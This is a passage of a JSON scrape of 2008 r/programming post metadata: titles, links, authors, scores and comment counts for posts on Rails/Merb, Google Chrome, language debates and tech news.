  "url": "http://www.zedshaw.com/blog/2008-12-24.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7lhsl/zed_shaw_merb_rails_im_great_and_anyone_who/",
  "title": "Zed Shaw: Merb + Rails = I'm great and anyone who doesn't like me is \"a money grubbing shit fuck\"",
  "body": null,
  "author": "shub",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 109,
  "createdAt": "2008-12-24T12:47:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.zedshaw.com/blog/2008-12-24.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ld7n",
  "url": "http://rubyonrails.org/merb",
  "permalink": "https://www.reddit.com/r/programming/comments/7ld7n/merb_and_rails_join/",
  "title": "Merb and Rails join",
  "body": null,
  "author": "clemesha",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 0,
  "createdAt": "2008-12-23T20:03:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://rubyonrails.org/merb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7kz7z",
  "url": "https://www.reddit.com/r/programming/comments/7kz7z/scientific_study_time_i_would_like_to_ask_this/",
  "permalink": "https://www.reddit.com/r/programming/comments/7kz7z/scientific_study_time_i_would_like_to_ask_this/",
  "title": "Scientific study time. I would like to ask this question: Do all programmers love cats?",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.53,
  "numComments": 114,
  "createdAt": "2008-12-22T01:09:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/7kz7z/scientific_study_time_i_would_like_to_ask_this/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7kyyj",
  "url": "http://teddziuba.com/2008/12/there-will-be-no-web-30.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7kyyj/there_will_be_no_web_30_ted_dziuba/",
  "title": "There Will Be No Web 3.0 - Ted Dziuba",
  "body": null,
  "author": "7oby",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 38,
  "createdAt": "2008-12-22T00:02:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://teddziuba.com/2008/12/there-will-be-no-web-30.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7k74o",
  "url": "http://mail.gnome.org/archives/usability/2005-December/msg00021.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7k74o/linus_torvalds_prefers_desktop_envronment_written/",
  "title": "Linus Torvalds prefers Desktop Envronment written in C++ over one written in C",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 77,
  "createdAt": "2008-12-17T23:05:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://mail.gnome.org/archives/usability/2005-December/msg00021.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7jebz",
  "url": "http://farm4.static.flickr.com/3124/2717153309_458b967dce.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/7jebz/dude_got_his_priorities_straight/",
  "title": "Dude got his priorities straight.",
  "body": null,
  "author": "spookyvision",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.59,
  "numComments": 106,
  "createdAt": "2008-12-14T14:40:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://farm4.static.flickr.com/3124/2717153309_458b967dce.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ebu4",
  "url": "http://timesonline.typepad.com/technology/2008/11/top-25-days-in.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7ebu4/top_25_days_in_computing_history/",
  "title": "Top 25 days In Computing History",
  "body": null,
  "author": "digitalfever",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.54,
  "numComments": 34,
  "createdAt": "2008-11-19T12:13:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://timesonline.typepad.com/technology/2008/11/top-25-days-in.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7drup",
  "url": "http://www.reddit.com/r/programming/comments/7dqca/only_on_the_internet_do_people_calculate_the/c06dyg6",
  "permalink": "https://www.reddit.com/r/programming/comments/7drup/only_on_reddit_people_correct_the_calculations_of/",
  "title": "Only on Reddit people correct the calculations of the bandwidth of ejaculate that people made on the internet",
  "body": null,
  "author": "Phrodo_00",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 2,
  "createdAt": "2008-11-17T00:38:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.reddit.com/r/programming/comments/7dqca/only_on_the_internet_do_people_calculate_the/c06dyg6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7cdjk",
  "url": "http://www.apartment-rental-nyc.com/firefoxindex.htm",
  "permalink": "https://www.reddit.com/r/programming/comments/7cdjk/i_hate_websites_that_wont_let_me_use_the_browser/",
  "title": "I HATE websites that won't let me use the browser I want to use!",
  "body": null,
  "author": "starrychloe",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.51,
  "numComments": 85,
  "createdAt": "2008-11-10T03:57:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.apartment-rental-nyc.com/firefoxindex.htm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7bv4u",
  "url": "http://themostboringblogintheworld.wordpress.com/2006/09/13/worlds-worst-hacker-irc-transcript/",
  "permalink": "https://www.reddit.com/r/programming/comments/7bv4u/worlds_worst_hacker_irc_transcript/",
  "title": "Worlds worst hacker. IRC transcript",
  "body": null,
  "author": "redwall_hp",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 13,
  "createdAt": "2008-11-07T00:38:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://themostboringblogintheworld.wordpress.com/2006/09/13/worlds-worst-hacker-irc-transcript/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ah8f",
  "url": "http://ayende.com/Blog/archive/2008/10/31/microsoft-kills-linq-to-sql.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/7ah8f/microsoft_kills_linq_will_the_dotnet_developers/",
  "title": "Microsoft kills Linq. Will the dotNet developers finally wake up and understand why OSS is important?",
  "body": null,
  "author": "prider",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.51,
  "numComments": 77,
  "createdAt": "2008-10-31T09:51:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://ayende.com/Blog/archive/2008/10/31/microsoft-kills-linq-to-sql.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_77qc0",
  "url": "http://www.codinghorror.com/blog/archives/001172.html",
  "permalink": "https://www.reddit.com/r/programming/comments/77qc0/programming_is_hard_lets_go_shopping/",
  "title": "Programming Is Hard, Let's Go Shopping!",
  "body": null,
  "author": "llimllib",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.54,
  "numComments": 43,
  "createdAt": "2008-10-17T14:03:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.codinghorror.com/blog/archives/001172.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_77ein",
  "url": "http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Seed7",
  "permalink": "https://www.reddit.com/r/programming/comments/77ein/6_vote_for_keep_3_vote_to_delete_the_result_the/",
  "title": "6 vote for 'Keep'. 3 vote to 'Delete'. The result? The Wikipedia article on the Seed7 programming language is deleted.",
  "body": null,
  "author": "Jessica_Henderson",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 56,
  "createdAt": "2008-10-16T02:00:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Seed7",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_72ejz",
  "url": "http://wiki.harnir.net/xkcd:sandwich",
  "permalink": "https://www.reddit.com/r/programming/comments/72ejz/make_me_a_sandwich/",
  "title": "make me a sandwich",
  "body": null,
  "author": "taw",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 25,
  "createdAt": "2008-09-19T18:29:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://wiki.harnir.net/xkcd:sandwich",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_71vzv",
  "url": "http://xkcd.com/477/",
  "permalink": "https://www.reddit.com/r/programming/comments/71vzv/xkcd_typewriter_featuring_reddit/",
  "title": "XKCD: Typewriter (featuring Reddit)",
  "body": null,
  "author": "Tralobyte",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.51,
  "numComments": 56,
  "createdAt": "2008-09-17T07:08:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xkcd.com/477/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_70lcs",
  "url": "http://www.haxial.com/products/compiler/docs/measurement-units.html",
  "permalink": "https://www.reddit.com/r/programming/comments/70lcs/megabyte_as_1048576_bytes_etc_vote_up_if_you/",
  "title": "Megabyte as 1,048,576 bytes, etc. (Vote up if you prefer this definition)",
  "body": null,
  "author": "jixitar",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 46,
  "createdAt": "2008-09-10T02:30:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.haxial.com/products/compiler/docs/measurement-units.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zllw",
  "url": "http://www.redmountainsw.com/wordpress/archives/jvm-design-holding-back-java",
  "permalink": "https://www.reddit.com/r/programming/comments/6zllw/has_the_jvm_design_been_holding_back_java/",
  "title": "Has the JVM design been holding back Java?",
  "body": null,
  "author": "stesch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 24,
  "createdAt": "2008-09-04T11:48:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.redmountainsw.com/wordpress/archives/jvm-design-holding-back-java",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zhta",
  "url": "http://www.reddit.com/r/browsers",
  "permalink": "https://www.reddit.com/r/programming/comments/6zhta/did_you_guys_know_there_is_a_browsers_subreddit/",
  "title": "Did you guys know there is a [browsers] subreddit you can post all your Chrome stories to instead",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 208,
  "upvoteRatio": 0.55,
  "numComments": 134,
  "createdAt": "2008-09-03T21:15:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.reddit.com/r/browsers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zh32",
  "url": "http://simonwillison.net/2008/Sep/3/dmigrations/",
  "permalink": "https://www.reddit.com/r/programming/comments/6zh32/announcing_dmigrations_a_new_schema_migration/",
  "title": "Announcing dmigrations - a new schema migration tool for Django",
  "body": null,
  "author": "simonw",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 7,
  "createdAt": "2008-09-03T19:14:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://simonwillison.net/2008/Sep/3/dmigrations/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zg2j",
  "url": "http://blogoscoped.com/archive/2008-09-03-n71.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6zg2j/eight_days_a_week/",
  "title": "Eight days a week",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 18,
  "createdAt": "2008-09-03T16:48:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogoscoped.com/archive/2008-09-03-n71.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zef0",
  "url": "http://scriptnode.com/article/google-chrome-benchmarks/",
  "permalink": "https://www.reddit.com/r/programming/comments/6zef0/google_chrome_benchmarks/",
  "title": " Google Chrome Benchmarks",
  "body": null,
  "author": "ogijun",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 22,
  "createdAt": "2008-09-03T12:24:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://scriptnode.com/article/google-chrome-benchmarks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ze10",
  "url": "http://www.ultratechnology.com/scope.htm",
  "permalink": "https://www.reddit.com/r/programming/comments/6ze10/forth_based_workstation_in_a_mouse/",
  "title": "Forth based workstation in a mouse",
  "body": null,
  "author": "keenerd",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.52,
  "numComments": 20,
  "createdAt": "2008-09-03T10:47:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.ultratechnology.com/scope.htm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ze07",
  "url": "http://paultyma.blogspot.com/2008/03/writing-java-multithreaded-servers.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6ze07/writing_java_multithreaded_servers_whats_old_is/",
  "title": "Writing Java Multithreaded Servers - whats old is new",
  "body": null,
  "author": "gthank",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 18,
  "createdAt": "2008-09-03T10:41:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://paultyma.blogspot.com/2008/03/writing-java-multithreaded-servers.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zdv0",
  "url": "http://sourceforge.net/mailarchive/forum.php?thread_name=aea328ab0808101020v1540ecd2nf2f35fbd3bde33b9%40mail.gmail.com&forum_name=armedbear-j-devel",
  "permalink": "https://www.reddit.com/r/programming/comments/6zdv0/erik_huelsmann_takes_over_maintanance_of_abcl/",
  "title": "Erik Huelsmann takes over maintanance of ABCL (Common Lisp on JVM); development continues once again",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 9,
  "createdAt": "2008-09-03T09:58:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://sourceforge.net/mailarchive/forum.php?thread_name=aea328ab0808101020v1540ecd2nf2f35fbd3bde33b9%40mail.gmail.com&forum_name=armedbear-j-devel",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zcyl",
  "url": "http://macournoyer.wordpress.com/2008/09/02/ruby-on-v8/",
  "permalink": "https://www.reddit.com/r/programming/comments/6zcyl/ruby_on_v8/",
  "title": "Ruby on V8",
  "body": null,
  "author": "alphabeat",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 18,
  "createdAt": "2008-09-03T05:51:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://macournoyer.wordpress.com/2008/09/02/ruby-on-v8/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zbb5",
  "url": "http://blogs.zdnet.com/security/?p=1843",
  "permalink": "https://www.reddit.com/r/programming/comments/6zbb5/google_chrome_vulnerable_to_carpetbombing_flaw/",
  "title": "Google Chrome vulnerable to carpet-bombing flaw",
  "body": null,
  "author": "RetroRock",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 10,
  "createdAt": "2008-09-02T23:11:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.zdnet.com/security/?p=1843",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6z9dm",
  "url": "http://royal.pingdom.com/?p=341",
  "permalink": "https://www.reddit.com/r/programming/comments/6z9dm/computer_geek_license_plates/",
  "title": "Computer Geek License Plates",
  "body": null,
  "author": "Mr_Belding",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 23,
  "createdAt": "2008-09-02T17:58:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://royal.pingdom.com/?p=341",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6z73d",
  "url": "http://crustyoldfart.wordpress.com/2008/08/20/computing-in-molasses/",
  "permalink": "https://www.reddit.com/r/programming/comments/6z73d/modern_computing_its_like_wading_in_molasses/",
  "title": "Modern computing - it's like wading in molasses",
  "body": null,
  "author": "lepton3",
  "subreddit": "programming",
  "score": 55,
  "upvoteRatio": 0.55,
  "numComments": 93,
  "createdAt": "2008-09-02T11:33:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://crustyoldfart.wordpress.com/2008/08/20/computing-in-molasses/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6z2eg",
  "url": "http://blogoscoped.com/archive/2008-09-01-n47.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6z2eg/google_chrome_googles_browser_project/",
  "title": "Google Chrome, Google’s Browser Project",
  "body": null,
  "author": "peroyo",
  "subreddit": "programming",
  "score": 179,
  "upvoteRatio": 0.57,
  "numComments": 154,
  "createdAt": "2008-09-01T16:08:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogoscoped.com/archive/2008-09-01-n47.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6z0uv",
  "url": "http://www.getacoder.com/projects/programming_c_87390.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6z0uv/programming_in_c_c_c_c_programming_visual_basic/",
  "title": "Programming In C C++ (C++ / C, Programming, Visual Basic)",
  "body": null,
  "author": "Harriv",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.52,
  "numComments": 42,
  "createdAt": "2008-09-01T09:55:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.getacoder.com/projects/programming_c_87390.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yuts",
  "url": "http://beust.com/weblog/archives/000491.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6yuts/ruby_27_hours_java_roughly_a_quarter_of_a_second/",
  "title": "Ruby: 27 Hours. Java: Roughly A Quarter of A Second. Whoah. Long Live Crazy Bob!",
  "body": null,
  "author": "rayfd",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 70,
  "createdAt": "2008-08-31T00:24:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://beust.com/weblog/archives/000491.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yuat",
  "url": "http://gaccproxy.appspot.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/6yuat/let_people_use_google_accounts_to_log_in_to_your/",
  "title": "Let people use Google Accounts to log in to your site: GAccProxy",
  "body": null,
  "author": "ehird",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 28,
  "createdAt": "2008-08-30T21:16:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://gaccproxy.appspot.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yu45",
  "url": "http://steve.yegge.googlepages.com/tour-de-babel",
  "permalink": "https://www.reddit.com/r/programming/comments/6yu45/tour_de_babel_rant_about_programming_languages_at/",
  "title": "Tour De Babel -- Rant about programming languages (at Amazon)",
  "body": null,
  "author": "stesch",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.52,
  "numComments": 122,
  "createdAt": "2008-08-30T20:25:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://steve.yegge.googlepages.com/tour-de-babel",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ytpk",
  "url": "http://dnscurve.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ytpk/dnscurve_usable_security_for_dns_by_dan_bernstein/",
  "title": "DNSCurve: Usable security for DNS -- by Dan Bernstein",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.53,
  "numComments": 25,
  "createdAt": "2008-08-30T18:23:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dnscurve.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ytnt",
  "url": "http://www.google.com/s2/favicons?domain=www.reddit.com",
  "permalink": "https://www.reddit.com/r/programming/comments/6ytnt/googles_free_favicon_png_online_converter/",
  "title": "Google's free favicon -> PNG online converter",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.52,
  "numComments": 61,
  "createdAt": "2008-08-30T18:08:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.google.com/s2/favicons?domain=www.reddit.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ysuu",
  "url": "http://jquery.com/blog/2008/08/29/death-to-javascript-rock-stars/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ysuu/death_to_javascript_rockstars_jquery_removes/",
  "title": "Death to JavaScript Rockstars - JQuery removes stupid image, adds Konami code-driven easter egg",
  "body": null,
  "author": "Entropy",
  "subreddit": "programming",
  "score": 119,
  "upvoteRatio": 0.56,
  "numComments": 114,
  "createdAt": "2008-08-30T14:55:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://jquery.com/blog/2008/08/29/death-to-javascript-rock-stars/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yqm7",
  "url": "http://blogs.zdnet.com/security/?p=1835",
  "permalink": "https://www.reddit.com/r/programming/comments/6yqm7/inside_indias_captcha_solving_economy/",
  "title": "Inside India’s CAPTCHA solving economy ",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.52,
  "numComments": 30,
  "createdAt": "2008-08-30T01:46:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.zdnet.com/security/?p=1835",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yq8i",
  "url": "http://www.xent.com/pipermail/fork/Week-of-Mon-20070219/044101.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6yq8i/and_then_theres_haskell_nsfw/",
  "title": "And then there's Haskell.... :: NSFW ()",
  "body": null,
  "author": "dons",
  "subreddit": "programming",
  "score": 45,
  "upvoteRatio": 0.53,
  "numComments": 95,
  "createdAt": "2008-08-29T23:38:48.000Z",
  "isNsfw": true,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.xent.com/pipermail/fork/Week-of-Mon-20070219/044101.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yput",
  "url": "http://blog.wired.com/27bstroke6/2008/08/hans-reiser-s-1.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6yput/hans_reiser_sentenced_to_15tolife/",
  "title": "Hans Reiser Sentenced to 15-to-Life",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 37,
  "createdAt": "2008-08-29T21:59:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.wired.com/27bstroke6/2008/08/hans-reiser-s-1.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yo56",
  "url": "http://jquery.com",
  "permalink": "https://www.reddit.com/r/programming/comments/6yo56/saddest_redesign_ever/",
